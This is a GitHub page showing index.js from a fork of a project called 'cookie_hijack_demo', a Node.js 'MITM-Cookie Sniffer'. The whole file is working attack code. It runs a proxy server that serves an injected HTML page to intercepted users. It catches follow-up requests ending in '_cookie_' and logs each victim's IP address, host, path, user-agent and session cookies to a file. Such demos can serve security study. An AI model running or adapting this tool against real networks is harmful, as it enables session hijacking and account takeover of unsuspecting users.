forked from EtherDream/cookie_hijack_demo
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
80 lines (61 loc) · 1.57 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
/**
* MITM-Cookie Sniffer
* @version 0.0.1
* @author EtherDream
*/
'use strict';
var $http = require('http'),
$fs = require('fs');
var LOG_FILE = 'log.txt';
// frontend page
var mPage = $fs.readFileSync('inject.html');
// backend filter
var POSTFIX = /_cookie_$/;
init(8080);
function init(port) {
var svr = $http.createServer(onRequest);
svr.listen(port, function() {
console.log('running...');
});
svr.on('error', function() {
console.error('listen fail');
});
}
function fail(res) {
res.writeHead(404);
res.end();
}
var R_URL = /^http:\/\/[^/]*(.*)/i;
function onRequest(req, res) {
// GET http://... (Forward Proxy)
var m = req.url.match(R_URL);
if (m) {
req.url = m[1];
}
if (POSTFIX.test(req.url)) {
// cookie request
var headers = req.headers;
var cookie = headers['cookie'];
if (cookie) {
var ip = req.connection.remoteAddress;
var path = headers['host'] + req.url.split('?')[0];
var info = ip + '\t' + path;
console.log(info);
// log to file
$fs.appendFile(LOG_FILE, info + '\n' + headers['user-agent'] + '\n' + cookie + '\n');
}
res.writeHead(200, {
'Content-Type': 'text/javascript'
});
res.end();
}
else {
// otherwise: response page
res.writeHead(200, {
'Cache-Control': 'no-cache',
'Content-Type': 'text/html',
'Content-Length': mPage.length
});
res.end(mPage);
}
}